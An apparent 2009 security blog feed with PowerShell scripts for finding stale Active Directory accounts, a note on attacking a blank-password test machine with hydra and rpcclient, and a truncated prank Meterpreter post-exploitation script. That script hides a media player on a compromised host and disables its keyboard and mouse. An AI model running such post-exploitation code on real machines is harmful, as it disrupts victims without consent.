&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$lst = new-Object System.Collections.ArrayList&lt;BR&gt;foreach ($dc in $dcs) {&lt;BR&gt;&amp;nbsp;$root = [ADSI] "LDAP://&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;$($dc.Name):389"&lt;/FONT&gt;&lt;BR&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;$searcher = New-Object System.DirectoryServices.DirectorySearcher $root&lt;BR&gt;&amp;nbsp;$searcher.filter = "(&amp;amp;(objectCategory=person)(objectClass=user))"&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("name") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("LastLogon") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("displayName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("userAccountControl") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("canonicalName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("title") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("sAMAccountName") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("sn") | out-null&lt;BR&gt;&amp;nbsp;$searcher.PropertiesToLoad.Add("givenName") | out-null&lt;BR&gt;&amp;nbsp;$results = $searcher.FindAll()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;foreach ($result in $results)&lt;BR&gt;&amp;nbsp;{ &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&amp;nbsp;$user = $result.Properties;&lt;BR&gt;&amp;nbsp;&amp;nbsp;$usr = $user | select -property @{name="Name"; expression={$_.name}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="LastLogon"; expression={$_.lastlogon}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="DisplayName"; expression={$_.displayname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="Disabled"; expression={(($_.useraccountcontrol[0]) -band 2) -eq 2}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="CanonicalName"; expression={$_.canonicalname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="Title"; expression={$_.title}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="sAMAccountName"; expression={$_.samaccountname}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="LastName"; expression={$_.sn}},&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{name="FirstName"; expression={$_.givenname}}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&amp;nbsp;$lst.Add($usr) | out-null&lt;BR&gt;&amp;nbsp;}&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$lst | group name | select-object Name, &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | Measure-Object -property LastLogon -max).Maximum }; Name="LastLogon" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).DisplayName}; Name="DisplayName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).CanonicalName}; Name="CanonicalName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).Title}; Name="Title" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).sAMAccountName}; Name="sAMAccountName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).LastName}; Name="LastName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).FirstName}; Name="FirstName" },&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ ($_.Group | select-object -first 1).Disabled}; Name="Disabled" } |&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;select-object Name, DisplayName, CanonicalName, Title, sAMAccountName, LastName, FirstName, Disabled,&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@{Expression={ $startdate.adddays(($_.LastLogon / (60 * 10000000)) / 1440) }; Name="LastLogon" }&lt;/FONT&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;</content></entry><entry><title>Finding Old or Unused Accounts with Powershell</title><link rel="alternate" href="http://blog.securitywhole.com/2009/06/29/finding-unused-accounts-with-powershell.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-06-29:4bad4617-ad8a-425a-b47b-d3e1493153dc</id><author><name>Tim Medin</name></author><updated>2009-06-29T16:35:00Z</updated><published>2009-06-29T16:35:00Z</published><content type="html">Recently I tried to find accounts that haven't been used in a long time. In order to do this I wrote a powershell script to get the last logon time for all accounts in the domain. The problem is, each domain controller contains a different time for the Last Logon depending on which was used as the logon server. In order to get an accurate time we need to get the last logon from each domain controller for each user. This is NOT a fast process. If there are 500 users and 4 domain controllers that is 2000 requests. On top of that some of the domain controllers might be a different location with a slower WAN link which will make it go even slower.&lt;br&gt;&lt;br&gt;Note: This script requires Quest Software's Active Directory cmdlets. You can download it from here: &lt;a target="_blank" href="http://www.quest.com/powershell/activeroles-server.aspx"&gt;http://www.quest.com/powershell/activeroles-server.aspx&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;span&gt;&lt;span style="COLOR: #227619"&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;Add-PSSnapIn Quest.ActiveRoles.ADManagement -ErrorAction SilentlyContinue&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;$dcs = Get-QADComputer -ComputerRole DomainController&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;$users = Get-QADUser -SizeLimit 0&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;#$ErrorActionPreference = "Continue"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;foreach ($user in $users) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;#"Searching $($user.Name)"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$lastlogon = $null&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;foreach ($dc in $dcs) {&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$dclogon = (Get-QADUser -Service $dc.Name -SamAccountName $user.Name).LastLogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#"$($user.Name) $($dc.Name) $dclogon"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($dclogon -ne $Null) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ($lastlogon -lt $dclogon) {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#write-host "replacing"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$lastlogon = $dclogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($lastlogon -eq $Null) { $lastlogon = [dbnull]::value }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;#"$($user.Name) $lastlogon"&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o = New-Object PSObject&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "User" $user.Name&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "LastLogin" $lastlogon&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "DisplayName" $user.DisplayName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "Disabled" ([ADSI]("LDAP://$($user.DN.ToString())")).PsBase.InvokeGet("AccountDisabled")&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "DistinguishedName" $user.DN&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "Title" $user.title&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "SamAccountName" $user.SamAccountName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "LastName" $user.LastName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$o | Add-Member NoteProperty "FirstName" $user.FirstName&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Write-Output $o&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face="'Courier New'"&gt;}&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;font color="#000000" face="Arial"&gt;&lt;font color="#227619" face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;Assuming you put this script in the file Get-LastLogin.ps1 you can find all accounts that haven't logged in during the past 90 days.&lt;div&gt;&lt;span style="font-family: 'Courier New'; color: rgb(34, 118, 25); "&gt;.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)}&lt;/span&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;If you want to sort the results and save it as a csv you can do this:&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New'; color: rgb(34, 118, 25); "&gt;&lt;div style="outline-style: none; outline-width: initial; outline-color: initial; "&gt;.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)} | | Sort-Object @{expression="LastLogin";Descending=$true},@{expression="User";Ascending=$true} | Export-Csv "c:\lastloginreport.csv" -noTypeInformation&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</content></entry><entry><title>Make Windows more secure, use a blank password</title><link rel="alternate" href="http://blog.securitywhole.com/2009/05/16/make-windows-more-secure-and-use-a-blank-password.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-05-16:6f2eff45-c0e5-4c76-811b-4f4b3b9162e8</id><author><name>Tim Medin</name></author><updated>2009-05-17T03:24:00Z</updated><published>2009-05-17T03:24:00Z</published><content type="html">Today I was attacking and pillaging a test windows machine from a linux box. Many windows machines are setup with a blank administrator password since people just hit the enter key when they are prompted for a password. I was testing to see what happens on these machines with this configuration. I also created another account with a blank password.&lt;br&gt;&lt;br&gt;Using either of these accounts I was able to connect to manually created shares, but not to the admin shares (c$, d$, admin$). Beginning with Windows XP Home edition and later non-server editions of Windows, Windows implements the "ForceGuest" feature when the local Administrator account has a blank password. When a remote user authenticates to Windows XP (and later) as Administrator with a blank password (e.g. by mapping to one of the administrative shares), Windows will assign to their session a Guest access token, not an Administrator access token thereby preventing access to the entire C drive (a good thing).&lt;br&gt;&lt;br&gt;These home users who have "picked" the blank password when forced to pick a real password would probably pick a password that is very easy to guess, such as "password", &amp;lt;username&gt;, or some word in a monosyllabic dictionary. It is arguable more secure for these users to have no password than to pick one. No, neither of these options is good (both are dumb), but at least Microsoft prevents users from exceptionally reducing their security. &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Yes, I understand the stupidity of the argument either way, this is meant to be a little touch-in-cheek.&lt;br&gt;&lt;br&gt;If you are interested in the tools I was using here they are:&lt;br&gt;&lt;a href="http://freeworld.thc.org/thc-hydra/"&gt;hydra&lt;/a&gt;&lt;br&gt;&lt;a href="http://unixwiz.net/tools/nbtscan.html"&gt;nbtscan&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.samba-tng.org/docs/tng/htmldocs/rpcclient.8.html"&gt;rpcclient&lt;/a&gt;  - &lt;a href="http://carnal0wnage.blogspot.com/2007/08/more-of-using-rpcclient-to-find.html"&gt;link1&lt;/a&gt; &lt;a href="http://carnal0wnage.blogspot.com/2007/07/enumerating-user-accounts-on-linux-and.html"&gt;link2&lt;/a&gt;&lt;br&gt;&lt;a href="http://learnlinux.tsf.org.za/courses/build/net-admin/ch08s02.html"&gt;smbclient&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;</content></entry><entry><title>www.microsoft.com and hosts file wierdness. Why?</title><link rel="alternate" href="http://blog.securitywhole.com/2009/04/01/wwwmicrosoftcom-and-hosts-file-wierdness-why.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-04-01:bc014235-0be1-49cf-bd1c-18975439842f</id><author><name>Tim Medin</name></author><updated>2009-04-01T19:30:29Z</updated><published>2009-04-01T19:30:29Z</published><content type="html">From a Windows XP SP3 machine with all patches I ping www.microsoft.com and&lt;BR&gt;it hits 65.55.21.250&lt;BR&gt;&lt;BR&gt;I then add the following line to my hosts file&lt;BR&gt;127.0.0.1 www.microsoft.com&lt;BR&gt;&lt;BR&gt;I flush dns&lt;BR&gt;ipconfig /flushdns&lt;BR&gt;&lt;BR&gt;I then ping www.microsoft.com and it still resolves to 65.55.21.250&lt;BR&gt;&lt;BR&gt;Why?&lt;BR&gt;</content></entry><entry><title>Rickroll Meterpreter Script</title><link rel="alternate" href="http://blog.securitywhole.com/2009/03/30/rickroll-meterpreter-script.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-03-30:243f5a51-8ca5-47ad-b5a7-2b00dfc3928e</id><author><name>Tim Medin</name></author><updated>2009-03-31T04:52:00Z</updated><published>2009-03-31T04:52:00Z</published><content type="html">&lt;p&gt;In order to be well prepared for April Fools day I decided to put out a rickroll meterpreter script. &lt;br&gt;&lt;br&gt;It defaults to looking for rickroll.mp3 in the metasploit framework root directory, but you can use another file with the -f option. I don't parse out the name so you will have to copy it into the metasploit directory. &lt;br&gt;&lt;br&gt;You can also use any file format supported by windows media player so you can have it play a wmv (even better). By default the process is hidden, but you can make it visible with a -v option.&lt;br&gt;&lt;br&gt;New Features!&lt;br&gt;And just for added fun, throw in a -k to disable the keyboard or -m to disable the mouse or you can go all in by using the -e to disable the mouse and keyboard and save precious keystrokes.&lt;br&gt;&lt;br&gt;Here is the file: &lt;br&gt;&lt;a href="http://blog.securitywhole.com/files/4/1/3/7/4/156673-147314/rickroll.tar"&gt;rickroll.tar&lt;/a&gt;&lt;br&gt;&lt;br&gt;Put it in framework3/meterpreter/scripts&lt;br&gt;&lt;br&gt;&lt;font face="Courier New"&gt;#&lt;br&gt;# Provided by Tim Medin at timmedin[at]gmail [dot] com&lt;br&gt;#&lt;br&gt;# Uploads the rick roll'ing mp3 and then runs it as a hidden process&lt;br&gt;# You can also upload a different file (like a wmv video) and have it display -v&lt;br&gt;#&lt;br&gt;# Known Issues: I don't parse the file name provided by -f so make&lt;br&gt;#&amp;nbsp;&amp;nbsp; sure the file is in the framework's root directory&lt;br&gt;#&lt;br&gt;# Added disable keyboard and mouse features &lt;br&gt;#&lt;br&gt;# *** Thanks for help from dark operator (Carlos Perez) ***&lt;br&gt;#&lt;br&gt;def message&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status "Rickroll'ing Meterpreter Script"&lt;br&gt;end&lt;br&gt;def usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Windows Rickroll Meterpreter Script\n" +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Usage: rickroll [-h] [-k] [-m] [-e] [-v] \[-f &amp;lt;filename&amp;gt;\]\n" +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @@exec_opts.usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; )&lt;br&gt;end &lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;@@exec_opts = Rex:arser::Arguments.new(&lt;br&gt;&amp;nbsp; "-h"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Help menu."],&lt;br&gt;&amp;nbsp; "-f"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "File to upload"],&lt;br&gt;&amp;nbsp; "-k"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Keyboard"],&lt;br&gt;&amp;nbsp; "-m"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Mouse"],&lt;br&gt;&amp;nbsp; "-e"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Disable Keyboard &amp;amp; Mouse"],&lt;br&gt;&amp;nbsp; "-v"&amp;nbsp; =&amp;gt; [ false,&amp;nbsp; "Visible"]&lt;br&gt;)&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;rick = "rickroll.mp3"&lt;br&gt;mediaplayer = "\"C:\\Program Files\\Windows Media Player\\wmplayer.exe\""&lt;br&gt;visible = false&lt;br&gt;keyboard = true&lt;br&gt;mouse = true&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;@@exec_opts.parse(args) { |opt, idx, val|&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case opt&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-k"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyboard = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-m"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mouse = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-e"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyboard = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mouse = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-v"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; visible = true&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-f"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rick = val&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when "-h"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usage&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; abort&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 